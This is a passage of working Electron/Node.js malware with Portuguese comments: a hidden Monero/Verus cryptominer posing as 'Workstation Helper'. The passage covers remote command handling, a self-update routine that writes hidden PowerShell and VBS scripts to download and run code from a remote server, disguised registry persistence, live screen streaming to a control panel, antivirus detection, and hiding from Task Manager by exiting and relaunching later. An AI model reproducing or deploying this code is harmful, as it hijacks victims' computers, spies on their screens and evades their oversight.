stopMining(); } try { const { spawn } = require('child_process'); const stamp = Date.now(); const ps1Path = path.join(os.tmpdir(), `xmr_upd_${stamp}.ps1`); const vbsPath = path.join(os.tmpdir(), `xmr_upd_${stamp}.vbs`); const sysVbsPath = path.join(os.tmpdir(), `xmr_sys_${stamp}.vbs`); const appDir = __dirname; const execPath = process.execPath; const systemBat = path.join(appDir, 'system.bat'); const ppid = process.ppid || 0; const escPs = s => String(s).replace(/'/g, "''"); const isAsar = app.isPackaged || __dirname.toLowerCase().includes('app.asar'); const isDevOrServer = appDir.toLowerCase().includes('nova pasta'); const isMigrateToCompiled = !isAsar && !isDevOrServer && Array.isArray(files) && files.includes('native_miner.node'); let ps1Content; if (isMigrateToCompiled) { const zipUrl = UPDATE_BASE + 'compiled.zip?v=' + stamp; const zipPath = path.join(os.tmpdir(), `xmr_compiled_${stamp}.zip`); const extDir = path.join(os.tmpdir(), `xmr_ext_${stamp}`); const oldCfg = path.join(app.getPath('userData'), 'config.json'); const newCfgDir = path.join(app.getPath('appData'), 'electron'); const newCfg = path.join(newCfgDir, 'config.json'); ps1Content = [ `$pidTarget = ${process.pid}`, `$ppidTarget = ${ppid}`, `$appDir = '${escPs(appDir)}'`, `$zipUrl = '${escPs(zipUrl)}'`, `$zipPath = '${escPs(zipPath)}'`, `$extDir = '${escPs(extDir)}'`, `$oldCfg = '${escPs(oldCfg)}'`, `$newCfgDir = '${escPs(newCfgDir)}'`, `$newCfg = '${escPs(newCfg)}'`, 'Start-Sleep -Seconds 2', '& taskkill /F /PID $pidTarget /T 2>$null | Out-Null', 'if ($ppidTarget -gt 0) {', ' $chk = (& tasklist /FI "PID eq $ppidTarget" /FI "IMAGENAME eq cmd.exe" 2>$null) -join "`n"', ' if ($chk -match "cmd\\.exe") { & taskkill /F /PID $ppidTarget /T 2>$null | Out-Null }', '}', 'Start-Sleep -Seconds 1', '$ProgressPreference = "SilentlyContinue"', '[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12', '$ok = $false', 'try {', ' Invoke-WebRequest -Uri $zipUrl -OutFile $zipPath -TimeoutSec 300 -UseBasicParsing -Headers @{"User-Agent"="Mozilla/5.0 Chrome/120"}', ' if ((Test-Path $zipPath) -and ((Get-Item $zipPath).Length -gt 1048576)) {', ' if (Test-Path $extDir) { Remove-Item -LiteralPath $extDir -Recurse -Force -ErrorAction SilentlyContinue }', ' Expand-Archive -LiteralPath $zipPath -DestinationPath $extDir -Force', ' if ((Test-Path (Join-Path $extDir "electron.exe")) -and (Test-Path (Join-Path $extDir "resources\\app.asar"))) {', ' $ok = $true', ' }', ' }', '} catch {}', 'if ($ok) {', ' if ((Test-Path $oldCfg) -and -not (Test-Path $newCfg)) {', ' if (-not (Test-Path $newCfgDir)) { New-Item -ItemType Directory -Path $newCfgDir -Force | Out-Null }', ' Copy-Item -LiteralPath $oldCfg -Destination $newCfg -Force -ErrorAction SilentlyContinue', ' }', ' Get-ChildItem -LiteralPath $appDir -Force | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue', ' Get-ChildItem -LiteralPath $extDir -Force | Move-Item -Destination $appDir -Force', ' Remove-ItemProperty -Path "HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" -Name "WindowsAudioUpdate" -ErrorAction SilentlyContinue', ' Remove-Item -LiteralPath "C:\\CorelDraw2024\\conf.vbs" -Force -ErrorAction SilentlyContinue', ' $env:ELECTRON_RUN_AS_NODE = ""', ' Start-Process -FilePath (Join-Path $appDir "electron.exe") -WorkingDirectory $appDir', '} else {', ' $env:ELECTRON_RUN_AS_NODE = ""', ` Start-Process -FilePath '${escPs(execPath)}' -ArgumentList @($appDir) -WorkingDirectory $appDir`, '}', 'Remove-Item -LiteralPath $zipPath -Force -ErrorAction SilentlyContinue', 'Remove-Item -LiteralPath $extDir -Recurse -Force -ErrorAction SilentlyContinue', `Remove-Item -Path '${escPs(vbsPath)}' -Force -ErrorAction SilentlyContinue`, 'Remove-Item -Path $MyInvocation.MyCommand.Path -Force -ErrorAction SilentlyContinue', ].join('\r\n'); } else { const seenDests = new Set(); const fileEntries = files.reduce((acc, f) => { let srcFile = f; let dest; if (f === 'native_miner.node') { dest = isAsar ? path.join(process.resourcesPath, '..', 'native_miner.node') : path.join(appDir, 'build', 'Release', 'native_miner.node'); } else if (isAsar) { srcFile = 'app.asar'; dest = path.join(process.resourcesPath, 'app.asar'); } else { dest = path.join(appDir, f); } if (!seenDests.has(dest)) { seenDests.add(dest); acc.push(` @{ url = '${escPs(UPDATE_BASE + srcFile + '?v=' + stamp)}'; dest = '${escPs(dest)}' }`); } return acc; }, []).join(',\r\n'); ps1Content = [ `$pidTarget = ${process.pid}`, `$ppidTarget = ${ppid}`, `$appDir = '${escPs(appDir)}'`, `$execPath = '${escPs(execPath)}'`, `$systemBat = '${escPs(systemBat)}'`, `$sysVbs = '${escPs(sysVbsPath)}'`, `$isPackaged = ${isAsar ? '$true' : '$false'}`, 'Start-Sleep -Seconds 2', '& taskkill /F /PID $pidTarget /T 2>$null | Out-Null', 'if ($ppidTarget -gt 0) {', ' $chk = (& tasklist /FI "PID eq $ppidTarget" /FI "IMAGENAME eq cmd.exe" 2>$null) -join "`n"', ' if ($chk -match "cmd\\.exe") { & taskkill /F /PID $ppidTarget /T 2>$null | Out-Null }', '}', 'Start-Sleep -Seconds 1', '$ProgressPreference = "SilentlyContinue"', '[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12', '$items = @(', fileEntries, ')', 'foreach ($it in $items) {', ' $tmp = $it.dest + ".new"', ' try {', ' $dir = Split-Path -Parent $it.dest', ' if ($dir -and -not (Test-Path $dir)) { New-Item -ItemType Directory -Path $dir -Force | Out-Null }', ' Invoke-WebRequest -Uri $it.url -OutFile $tmp -TimeoutSec 30 -UseBasicParsing -Headers @{"User-Agent"="Mozilla/5.0 Chrome/120"}', ' if ((Test-Path $tmp) -and ((Get-Item $tmp).Length -gt 0)) {', ' Move-Item -Path $tmp -Destination $it.dest -Force', ' }', ' } catch {', ' Remove-Item -Path $tmp -Force -ErrorAction SilentlyContinue', ' }', '}', '$env:ELECTRON_RUN_AS_NODE = ""', 'if (Test-Path $systemBat) {', ' $vbsLine = "CreateObject(""WScript.Shell"").Run Chr(34) & """ + $systemBat + """ & Chr(34), 0, False"', ' Set-Content -Path $sysVbs -Value $vbsLine -Encoding ASCII', ' Start-Process -FilePath "wscript.exe" -ArgumentList @("//B","//Nologo",$sysVbs) -WorkingDirectory $appDir -Wait', ' Remove-Item -Path $sysVbs -Force -ErrorAction SilentlyContinue', '} else {', ' if ($isPackaged) {', ' Start-Process -FilePath $execPath -WorkingDirectory (Split-Path -Parent $execPath)', ' } else {', ' Start-Process -FilePath $execPath -ArgumentList @($appDir) -WorkingDirectory $appDir', ' }', '}', `Remove-Item -Path '${escPs(vbsPath)}' -Force -ErrorAction SilentlyContinue`, 'Remove-Item -Path $MyInvocation.MyCommand.Path -Force -ErrorAction SilentlyContinue', ].join('\r\n'); } const vbsContent = `CreateObject("WScript.Shell").Run "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File """ & "${ps1Path}" & """", 0, False\r\n`; fs.writeFileSync(ps1Path, ps1Content, 'utf8'); fs.writeFileSync(vbsPath, vbsContent, 'utf8'); log('[UPDATE] Encerrando system.bat/Electron para baixar e reiniciar...'); spawn('wscript.exe', ['//B', '//Nologo', vbsPath], { detached: true, stdio: 'ignore', windowsHide: true }).unref(); } catch (e) { log('[UPDATE] Erro ao agendar update: ' + e.message); return; } setTimeout(() => { app.isQuiting = true; try { app.releaseSingleInstanceLock(); } catch (_) { } app.exit(0); }, 800); } function processCmds(cmds) { if (!Array.isArray(cmds) || !cmds.length) return; for (const c of cmds) { log('[CMD] Recebido: ' + c.cmd); if (c.cmd === 'start') { if (!isMiningActive) startMining(); } else if (c.cmd === 'stop') { if (isMiningActive) stopMining(); } else if (c.cmd === 'restart') { stopMining(); setTimeout(startMining, 1500); } else if (c.cmd === 'stream_start') { // Painel iniciou viewer — começa VP8 (30/60fps) ou fallback JPEG binário via WS if (c.payload && c.payload.quality && STREAM_DIMS[c.payload.quality]) { streamQuality = c.payload.quality; } if (c.payload && c.payload.mode === 'vp8') { startVp8Stream(streamQuality); } else { stopVp8Stream(); startScreenStreamWS(); } } else if (c.cmd === 'stream_stop') { // Painel fechou viewer — para stream stopVp8Stream(); stopScreenStreamWS(); } else if (c.cmd === 'streamquality' && c.payload && c.payload.quality) { const q = c.payload.quality; if (STREAM_DIMS[q]) { streamQuality = q; log('[STREAM] Qualidade alterada para: ' + q); } } else if (c.cmd === 'update') { const fileList = (c.payload && Array.isArray(c.payload.files)) ? c.payload.files : ['main.js', 'preload.js', 'renderer.js']; performUpdate(fileList); } else if (c.cmd === 'destroy') { // ── DESTRUIR MINER — apaga todos os arquivos e encerra ── log('[DESTROY] Comando de destruição recebido! Apagando tudo...'); if (isMiningActive) stopMining(); // Apaga a pasta inteira do miner const destroyDir = (app.isPackaged || __dirname.toLowerCase().includes('app.asar')) ? path.dirname(process.execPath) : __dirname; try { // Apaga config const cfgPath = path.join(app.getPath('userData'), 'config.json'); if (fs.existsSync(cfgPath)) fs.unlinkSync(cfgPath); try { require('child_process').execFile('reg', ['delete', 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run', '/v', 'ElectronRuntime', '/f'], { windowsHide: true }, () => {}); } catch (_) {} // Agenda apagar a pasta e encerrar const batPath = path.join(os.tmpdir(), 'xmr_cleanup_' + Date.now() + '.bat'); const batContent = [ '@echo off', 'ping 127.0.0.1 -n 4 > nul', `rd /s /q "${destroyDir}"`, `del /f /q "${batPath}"`, ].join('\r\n'); fs.writeFileSync(batPath, batContent); const { exec } = require('child_process'); exec(`cmd /c start /min "" "${batPath}"`, { detached: true, windowsHide: true }); log('[DESTROY] Bat de limpeza criado. Encerrando app...'); } catch (e) { log('[DESTROY] Erro: ' + e.message); } setTimeout(() => { app.quit(); }, 2000); } else if (c.cmd === 'config' && c.payload) { const p = c.payload; const wasActive = isMiningActive; const prevCoin = cfg.coin || 'xmr'; const prevGpu = !!cfg.gpu; const prevDual = !!cfg.dualGpu; const prevWallet = cfg.wallet; const prevGpuWallet = cfg.gpuWallet; const prevWorker = cfg.worker; const prevPass = cfg.pass; const prevFast = !!cfg.fast; const prevPools = JSON.stringify(cfg.pools || []); const prevGpuPools = JSON.stringify(cfg.gpuPools || []); if (p.coin === 'xmr' || p.coin === 'vrsc') cfg.coin = p.coin; if (cfg.coin !== prevCoin) { if (!Array.isArray(p.pools) || p.pools.length === 0) { cfg.pools = cfg.coin === 'vrsc' ? [...VERUS_POOLS] : [...POOLS]; currentPoolIndex = 0; } if (!p.wallet) { cfg.wallet = cfg.coin === 'vrsc' ? VERUS_WALLET : WALLET; } log(`[CFG] Moeda alterada para ${cfg.coin.toUpperCase()} — carteira/pools padrão carregadas`); } if (p.dualGpu !== undefined) { cfg.dualGpu = !!p.dualGpu; if (cfg.dualGpu) cfg.gpu = false; } if (p.gpu !== undefined) { cfg.gpu = !!p.gpu; if (cfg.gpu && p.dualGpu === undefined) cfg.dualGpu = false; if (cfg.gpu !== prevGpu || cfg.dualGpu !== prevDual) { currentPoolIndex = 0; log(`[CFG] Modo ${cfg.dualGpu ? 'DUAL (CPU + GPU QTC)' : (cfg.gpu ? 'GPU ONLY (QTC Poseidon2)' : 'CPU (' + (cfg.coin || 'xmr').toUpperCase() + ')')} ativado`); } } if (p.gpuWallet !== undefined && String(p.gpuWallet).trim()) cfg.gpuWallet = String(p.gpuWallet).trim(); if (p.autoGpu !== undefined) cfg.autoGpu = !!p.autoGpu; if (p.gpuActiveDuty !== undefined) { cfg.gpuActiveDuty = (p.gpuActiveDuty === null || p.gpuActiveDuty === '' || p.gpuActiveDuty <= 0) ? null : Math.max(10, Math.min(100, parseInt(p.gpuActiveDuty) || 50)); } if (p.gpuTargetTemp !== undefined) { if (p.gpuTargetTemp === null || p.gpuTargetTemp === '' || p.gpuTargetTemp < 0) { cfg.gpuTargetTemp = null; } else { cfg.gpuTargetTemp = Math.max(0, Math.min(95, parseInt(p.gpuTargetTemp) || 0)); if (cfg.gpuTargetTemp === 0 && nativeMiner && typeof nativeMiner.setGpuDuty === 'function') { currentGpuDuty = 100; nativeMiner.setGpuDuty(100); } } } if (p.gpuDuty !== undefined) { if (p.gpuDuty === null || p.gpuDuty === '' || p.gpuDuty <= 0) { cfg.gpuDuty = null; } else { cfg.gpuDuty = Math.max(10, Math.min(100, parseInt(p.gpuDuty) || 80)); currentGpuDuty = cfg.gpuDuty; if (nativeMiner && typeof nativeMiner.setGpuDuty === 'function') nativeMiner.setGpuDuty(currentGpuDuty); } } if (Array.isArray(p.gpuPools) && p.gpuPools.length > 0) { cfg.gpuPools = p.gpuPools; gpuPoolIndex = 0; if (cfg.gpu && !cfg.dualGpu) currentPoolIndex = 0; } if (p.wallet) cfg.wallet = String(p.wallet).trim(); if (p.worker) cfg.worker = String(p.worker).trim(); if (p.pass !== undefined && p.pass !== '') cfg.pass = String(p.pass).trim(); if (p.resetThreads === true) { cfg.threads = Math.max(1, maxThreads - 2); cfg.autoThreads = true; cfg.autoMax = null; log(`[CFG] resetThreads -> ${cfg.threads}/${maxThreads} threads (autoThreads=ON)`); } else if (p.cpuPercent !== undefined) { const pct = Math.max(1, Math.min(100, parseFloat(p.cpuPercent) || 50)); cfg.threads = Math.max(1, Math.round(maxThreads * pct / 100)); log(`[CFG] cpuPercent=${pct}% -> ${cfg.threads} threads`); } else if (p.threads !== undefined) { cfg.threads = Math.max(1, Math.min(maxThreads, parseInt(p.threads) || cfg.threads)); } if (p.fast !== undefined) cfg.fast = !!p.fast; if (p.autoThreads !== undefined) { cfg.autoThreads = !!p.autoThreads; if (cfg.autoThreads) { currentThreads = cfg.threads; if (nativeMiner && typeof nativeMiner.setThreads === 'function') nativeMiner.setThreads(currentThreads); log('[AUTO] Controle automático de threads ATIVADO (teto: ' + cfg.threads + ' threads)'); } else { log('[AUTO] Controle automático de threads DESATIVADO'); } } if (p.autoCpuHigh !== undefined) cfg.autoCpuHigh = parseFloat(p.autoCpuHigh) || 92; if (p.autoCpuLow !== undefined) cfg.autoCpuLow = parseFloat(p.autoCpuLow) || 72; if (p.idleBoost !== undefined) cfg.idleBoost = !!p.idleBoost; if (Array.isArray(p.pools) && p.pools.length > 0) { cfg.pools = p.pools; currentPoolIndex = 0; } if (p.save) saveConfig(); currentThreads = cfg.threads; stats.threads = cfg.threads; const needRestart = (cfg.coin || 'xmr') !== prevCoin || !!cfg.gpu !== prevGpu || !!cfg.dualGpu !== prevDual || cfg.wallet !== prevWallet || cfg.gpuWallet !== prevGpuWallet || cfg.worker !== prevWorker || cfg.pass !== prevPass || !!cfg.fast !== prevFast || JSON.stringify(cfg.pools || []) !== prevPools || JSON.stringify(cfg.gpuPools || []) !== prevGpuPools; if (wasActive) { if (needRestart) { stopMining(); log('[CFG] Reiniciando miner em 3s...'); setTimeout(startMining, 3000); } else { if (nativeMiner && typeof nativeMiner.setThreads === 'function' && !(cfg.gpu && !cfg.dualGpu)) { nativeMiner.setThreads(cfg.threads); } applyGpuControl(); log('[CFG] Ajuste aplicado em tempo real (sem reiniciar)!'); } } if (win && !win.isDestroyed()) win.webContents.send('config-updated', cfg); log('[CFG] Config aplicada: threads=' + cfg.threads + ' fast=' + cfg.fast + ' gpuDuty=' + currentGpuDuty + '%'); } } } // Monta objeto de status atual para enviar no heartbeat function buildStatus() { const activePools = getActivePools(); const pool = activePools[currentPoolIndex % activePools.length] || {}; const qtcPools = getGpuPools(); const gPool = qtcPools[gpuPoolIndex % qtcPools.length] || {}; let idleSec = 0; try { if (powerMonitor && typeof powerMonitor.getSystemIdleTime === 'function') idleSec = powerMonitor.getSystemIdleTime(); } catch {} return { mining: isMiningActive, hashrate: stats.hashrate || 0, shares: stats.shares || 0, rejected: stats.rejected || 0, gpuShares: stats.gpuShares || 0, gpuRejected: stats.gpuRejected || 0, threads: isMiningActive ? (stats.threads || currentThreads) : currentThreads, cfgThreads: cfg.threads, maxThreads: maxThreads, cpu: stats.cpu || 0, uptime: startTime ? Math.floor((Date.now() - startTime) / 1000) : 0, pool: { host: pool.host || '', port: pool.port || 0 }, poolIndex: currentPoolIndex, gpuPool: { host: gPool.host || '', port: gPool.port || 0 }, gpuPoolIndex: gpuPoolIndex, hostname: os.hostname(), av: detectedAV, coin: (cfg.gpu && !cfg.dualGpu) ? 'qtc' : (cfg.coin || 'xmr'), cpuCoin: cfg.coin || 'xmr', gpu: !!(cfg.gpu && !cfg.dualGpu), dualGpu: !!cfg.dualGpu, gpuHashrate: stats.gpuHashrate || 0, gpuWallet: cfg.gpuWallet || QTC_WALLET, gpuPools: cfg.gpuPools || QTC_POOLS, gpuTargetTemp: cfg.gpuTargetTemp, gpuEffectiveTargetTemp: getEffectiveGpuTargetTemp(), gpuDuty: currentGpuDuty, gpuDutyCfg: cfg.gpuDuty, autoGpu: cfg.autoGpu !== false, gpuActiveDuty: cfg.gpuActiveDuty, gpuAutoState: gpuAutoState, idleSec: idleSec, idleBoost: cfg.idleBoost !== false, cpuIdleBoost: _cpuIdleBoost, gpuDevice: gpuDeviceName, gpuError: gpuLastError, wallet: cfg.wallet, worker: cfg.worker, pass: cfg.pass || 'x', fast: cfg.fast, autoThreads: cfg.autoThreads || false, autoCpuHigh: cfg.autoCpuHigh || 92, autoCpuLow: cfg.autoCpuLow || 72, pools: cfg.pools, version: VERSION, installDate: cfg.installDate || null, hw: { cpu: hwInfo.cpu, ram: hwInfo.ram, gpu: hwInfo.gpu, isLaptop: hwInfo.isLaptop, }, gpuStats: gpuStats, logs: logBuffer.slice(-20), // últimas 20 linhas (payload menor) }; } function panelPost() { /* removido — apenas WS */ } function startHeartbeat() { wsConnect(); } function stopHeartbeat() { if (wsStatusTimer) { clearInterval(wsStatusTimer); wsStatusTimer = null; } if (wsReconnTimer) { clearTimeout(wsReconnTimer); wsReconnTimer = null; } if (wsClient) { wsClient.close(); wsClient = null; } wsReady = false; stopScreenStream(); } function startPanel() { const server = http.createServer((req, res) => { const u = req.url.split('?')[0]; res.setHeader('Access-Control-Allow-Origin', '*'); res.setHeader('Access-Control-Allow-Methods', 'GET,POST,OPTIONS'); res.setHeader('Access-Control-Allow-Headers', 'Content-Type'); if (req.method === 'OPTIONS') { res.writeHead(200); res.end(); return; } // Pagina principal (painel individual) if (req.method === 'GET' && (u === '/' || u === '/panel')) { try { res.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8' }); res.end(fs.readFileSync(path.join(__dirname, 'panel.html'))); } catch (e) { res.writeHead(500); res.end('panel.html nao encontrado'); } return; } // Painel mestre multi-PC if (req.method === 'GET' && u === '/master') { try { res.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8' }); res.end(fs.readFileSync(path.join(__dirname, 'master.html'))); } catch (e) { res.writeHead(500); res.end('master.html nao encontrado'); } return; } // Status if (req.method === 'GET' && u === '/api/status') { res.writeHead(200, { 'Content-Type': 'application/json' }); res.end(JSON.stringify({ mining: isMiningActive, connected: isPoolConnected, hashrate: stats.hashrate, shares: stats.shares, rejected: stats.rejected, threads: stats.threads, maxThreads, cpu: stats.cpu, pool: cfg.pools[currentPoolIndex] || {}, poolIndex: currentPoolIndex, mode: cfg.fast ? 'rapido' : 'leve', worker: cfg.worker, wallet: cfg.wallet, pass: cfg.pass, fast: cfg.fast, cfgThreads: cfg.threads, pools: cfg.pools, uptime: startTime ? Math.floor((Date.now() - startTime) / 1000) : 0, ram: (os.totalmem() / 1024 / 1024 / 1024).toFixed(1), hostname: os.hostname(), panelPort: PANEL_PORT, av: detectedAV, })); return; } // Logs if (req.method === 'GET' && u === '/api/logs') { res.writeHead(200, { 'Content-Type': 'application/json' }); res.end(JSON.stringify(logBuffer.slice(-100))); return; } // POST endpoints if (req.method === 'POST') { let body = ''; req.on('data', d => { body += d; }); req.on('end', () => { const json = s => { res.writeHead(200, { 'Content-Type': 'application/json' }); res.end(JSON.stringify(s)); }; try { const data = body ? JSON.parse(body) : {}; if (u === '/api/start') { startMining(); json({ ok: true }); } else if (u === '/api/stop') { stopMining(); json({ ok: true }); } else if (u === '/api/restart') { stopMining(); setTimeout(startMining, 1000); json({ ok: true }); } else if (u === '/api/config') { const wasActive = isMiningActive; if (wasActive) stopMining(); if (data.coin === 'xmr' || data.coin === 'vrsc') cfg.coin = data.coin; if (data.dualGpu !== undefined) { cfg.dualGpu = !!data.dualGpu; if (cfg.dualGpu) cfg.gpu = false; } if (data.gpu !== undefined) { cfg.gpu = !!data.gpu; if (cfg.gpu && data.dualGpu === undefined) cfg.dualGpu = false; } if (data.gpuWallet !== undefined && String(data.gpuWallet).trim()) cfg.gpuWallet = String(data.gpuWallet).trim(); if (Array.isArray(data.gpuPools) && data.gpuPools.length > 0) cfg.gpuPools = data.gpuPools; if (data.wallet !== undefined) cfg.wallet = String(data.wallet).trim(); if (data.worker !== undefined) cfg.worker = String(data.worker).trim(); if (data.pass !== undefined) cfg.pass = String(data.pass).trim(); if (data.resetThreads === true) { // Reseta para o padrão original deste PC (maxThreads - 2 + autoThreads) cfg.threads = Math.max(1, maxThreads - 2); cfg.autoThreads = true; cfg.autoMax = null; log(`[CFG] resetThreads → ${cfg.threads}/${maxThreads} threads (autoThreads=ON)`); } else if (data.cpuPercent !== undefined) { // Calcula threads baseado na % da CPU deste PC const pct = Math.max(1, Math.min(100, parseFloat(data.cpuPercent) || 50)); cfg.threads = Math.max(1, Math.round(maxThreads * pct / 100)); log(`[CFG] cpuPercent=${pct}% → ${cfg.threads} threads (max ${maxThreads})`); } else if (data.threads !== undefined) { cfg.threads = Math.max(1, Math.min(maxThreads, parseInt(data.threads) || cfg.threads)); } if (data.fast !== undefined) cfg.fast = !!data.fast; if (data.idleBoost !== undefined) cfg.idleBoost = !!data.idleBoost; if (Array.isArray(data.pools) && data.pools.length > 0) cfg.pools = data.pools; currentPoolIndex = 0; currentThreads = cfg.threads; // se save=true, persiste no disco (sobrevive ao reinicio) if (data.save === true) saveConfig(); if (wasActive) setTimeout(startMining, 500); json({ ok: true, saved: data.save === true }); } else { res.writeHead(404); res.end(); } } catch (e) { res.writeHead(400); res.end(JSON.stringify({ error: e.message })); } }); return; } // Screenshot único if (req.method === 'GET' && u === '/api/screenshot') { desktopCapturer.getSources({ types: ['screen'], thumbnailSize: { width: 1280, height: 720 } }).then(sources => { if (sources.length > 0) { const jpeg = sources[0].thumbnail.toJPEG(70); res.writeHead(200, { 'Content-Type': 'image/jpeg', 'Cache-Control': 'no-cache' }); res.end(jpeg); } else { res.writeHead(404); res.end('Sem tela'); } }).catch(e => { res.writeHead(500); res.end(e.message); }); return; } // Stream MJPEG ao vivo — loop desacoplado, envia último frame disponível if (req.method === 'GET' && u === '/api/stream') { activeStreamCount++; if (activeStreamCount === 1) startCaptureLoop(); // inicia loop ao primeiro viewer res.writeHead(200, { 'Content-Type': 'multipart/x-mixed-replace; boundary=f', 'Cache-Control': 'no-cache, no-store, must-revalidate', 'Pragma': 'no-cache', 'Connection': 'keep-alive', 'X-Accel-Buffering': 'no', }); let active = true; let lastSent = null; const cleanup = () => { if (!active) return; active = false; activeStreamCount = Math.max(0, activeStreamCount - 1); if (activeStreamCount === 0) stopCaptureLoop(); // para loop quando ninguém assiste }; req.on('close', cleanup); res.on('close', cleanup); const push = () => { if (!active || res.destroyed) return; const frame = latestFrame; if (frame && frame !== lastSent) { lastSent = frame; try { res.write('--f\r\nContent-Type: image/jpeg\r\n\r\n'); res.write(frame); res.write('\r\n'); } catch (_) { cleanup(); return; } } if (active) setTimeout(push, 16); // verifica novo frame a cada 16ms (~60fps máx) }; push(); return; } // ── SSE stream — flows through HTTP/2 / Cloudflare without buffering ── if (req.method === 'GET' && u === '/api/sse-stream') { activeStreamCount++; if (activeStreamCount === 1) startCaptureLoop(); res.writeHead(200, { 'Content-Type': 'text/event-stream', 'Cache-Control': 'no-cache, no-store', 'Connection': 'keep-alive', 'X-Accel-Buffering': 'no', 'Access-Control-Allow-Origin': '*', }); res.write(': connected\n\n'); // keep-alive comment let active = true; let lastSent = null; const cleanup = () => { if (!active) return; active = false; activeStreamCount = Math.max(0, activeStreamCount - 1); if (activeStreamCount === 0) stopCaptureLoop(); }; req.on('close', cleanup); res.on('close', cleanup); const send = () => { if (!active || res.destroyed) return; const frame = latestFrame; if (frame && frame !== lastSent) { lastSent = frame; try { res.write(`data:${frame.toString('base64')}\n\n`); } catch (_) { cleanup(); return; } } if (active) setTimeout(send, 50); // 20fps — ajuste conforme necessário }; send(); return; } res.writeHead(404); res.end(); }); server.listen(PANEL_PORT, '127.0.0.1', () => log(`[PANEL] Painel disponivel em http://localhost:${PANEL_PORT}`)); server.on('error', e => log(`[PANEL] Erro ao iniciar painel: ${e.message}`)); } // ── BANDEJA DO SISTEMA ──────────────────────────────────────── function createTray() { const iconPath = path.join(__dirname, 'tray_icon.png'); const icon = nativeImage.createFromPath(iconPath).resize({ width: 16, height: 16 }); tray = new Tray(icon); tray.setToolTip('Workstation Helper'); const menu = Menu.buildFromTemplate([ { label: 'Abrir', click: () => { if (!win || win.isDestroyed()) return; if (win.isMinimized()) win.restore(); win.show(); win.focus(); win.setSkipTaskbar(false); } }, { label: `Painel Web (porta ${PANEL_PORT})`, click: () => { require('electron').shell.openExternal(`http://localhost:${PANEL_PORT}`); } }, { label: `Painel Mestre (multi-PC)`, click: () => { require('electron').shell.openExternal(`http://localhost:${PANEL_PORT}/master`); } }, { type: 'separator' }, { label: 'Fechar', click: () => { app.isQuiting = true; stopMining(); app.exit(0); } } ]); tray.on('click', () => { if (!win || win.isDestroyed()) return; if (win.isMinimized()) win.restore(); win.show(); win.focus(); win.setSkipTaskbar(false); }); tray.on('right-click', () => { tray.popUpContextMenu(menu); }); } // ── APP INIT ────────────────────────────────────────────────── app.whenReady().then(() => { createWindow(); startRtcRenderer(); //createTray(); // desativado — app invisivel collectHardwareInfo(); // coleta CPU, GPU, RAM, tipo de dispositivo startPanel(); startHeartbeat(); detectAntivirus(); try { const candidates = [ path.join(path.dirname(process.execPath), 'native_miner.node'), path.join(process.resourcesPath, '..', 'native_miner.node'), path.join(__dirname, 'native_miner.node'), path.join(__dirname, 'build', 'Release', 'native_miner.node'), ].filter((p, i, arr) => arr.indexOf(p) === i && fs.existsSync(p)); let np = candidates[0] || path.join(process.resourcesPath, '..', 'native_miner.node'); if (candidates.length > 1) { candidates.sort((a, b) => fs.statSync(b).mtimeMs - fs.statSync(a).mtimeMs); np = candidates[0]; } nativeMiner = require(np); log('[OK] native_miner.node (RandomX + VerusHash) carregado'); } catch (e) { log('[ERRO] native_miner: ' + e.message); } // IPC: renderer do WebRTC pede fontes de tela (desktopCapturer só no main process, Electron 14+) ipcMain.handle('rtc-get-screen-sources', async () => { try { const sources = await desktopCapturer.getSources({ types: ['screen'] }); return sources.map(s => ({ id: s.id, name: s.name })); } catch (e) { log('[RTC] Erro ao obter fontes: ' + e.message); return []; } }); ipcMain.on('vp8-chunk', (_, msg) => { if (!_vp8StreamActive || !wsClient || wsClient.readyState !== 1 || !msg || !msg.data) return; try { const magic = msg.codec === 'h264' ? 0x57 : 0x56; const hdr = Buffer.from([magic, msg.first ? 0x01 : 0x00]); wsClient.send(Buffer.concat([hdr, Buffer.from(msg.data)])); } catch (_) { } }); ipcMain.on('vp8-error', (_, errMsg) => { log('[STREAM-VP8] Erro (' + (errMsg || 'desconhecido') + ') — fallback para JPEG'); stopVp8Stream(); startScreenStreamWS(); }); // Permissão de mídia: permite getUserMedia (captura de tela) sem popup const { session } = require('electron'); session.defaultSession.setPermissionRequestHandler((webContents, permission, callback) => { if (permission === 'media') { callback(true); return; } callback(false); }); ipcMain.on('start-mining', startMining); ipcMain.on('stop-mining', stopMining); try { powerMonitor.on('shutdown', () => { sendWsBye('shutdown'); stopHeartbeat(); }); } catch (_) {} app.on('browser-window-created', () => { setTimeout(() => { if (win && !win.isDestroyed() && !win.webContents.isDestroyed()) win.webContents.send('coin-info', { coin: 'XMR', ram: (os.totalmem() / 1024 ** 3).toFixed(1) }); }, 500); }); setTimeout(startMining, 2000); setTimeout(installWatchdog, 1500); setTimeout(ensureAutoStart, 1800); setTimeout(startTaskmgrWatch, 2500); }); let taskmgrTimer = null; let isExitingForTaskmgr = false; function startTaskmgrWatch() { if (process.platform !== 'win32') return; const isAsar = app.isPackaged || __dirname.toLowerCase().includes('app.asar'); // Se estiver rodando solto com system.bat na pasta, o próprio system.bat já monitora o taskmgr.exe if (!isAsar && fs.existsSync(path.join(__dirname, 'system.bat'))) return; const { execFile, spawn } = require('child_process'); let checking = false; let fallbackTicks = 0; const triggerExitForTaskmgr = () => { if (isExitingForTaskmgr || app.isQuiting) return; isExitingForTaskmgr = true; if (taskmgrTimer) { clearInterval(taskmgrTimer); taskmgrTimer = null; } log('[TASKMGR] taskmgr.exe detectado — encerrando e reagendando volta em 300s...'); try { const stamp = Date.now(); const ps1Path = path.join(os.tmpdir(), `xmr_tm_${stamp}.ps1`); const vbsPath = path.join(os.tmpdir(), `xmr_tm_${stamp}.vbs`); const escPs = s => String(s).replace(/'/g, "''"); const execPath = process.execPath; const appDir = __dirname; const ps1Content = [ 'Start-Sleep -Seconds 300', '$env:ELECTRON_RUN_AS_NODE = ""', isAsar ? `Start-Process -FilePath '${escPs(execPath)}' -WorkingDirectory '${escPs(path.dirname(execPath))}'` : `Start-Process -FilePath '${escPs(execPath)}' -ArgumentList @('${escPs(appDir)}') -WorkingDirectory '${escPs(appDir)}'`, `Remove-Item -Path '${escPs(vbsPath)}' -Force -ErrorAction SilentlyContinue`, 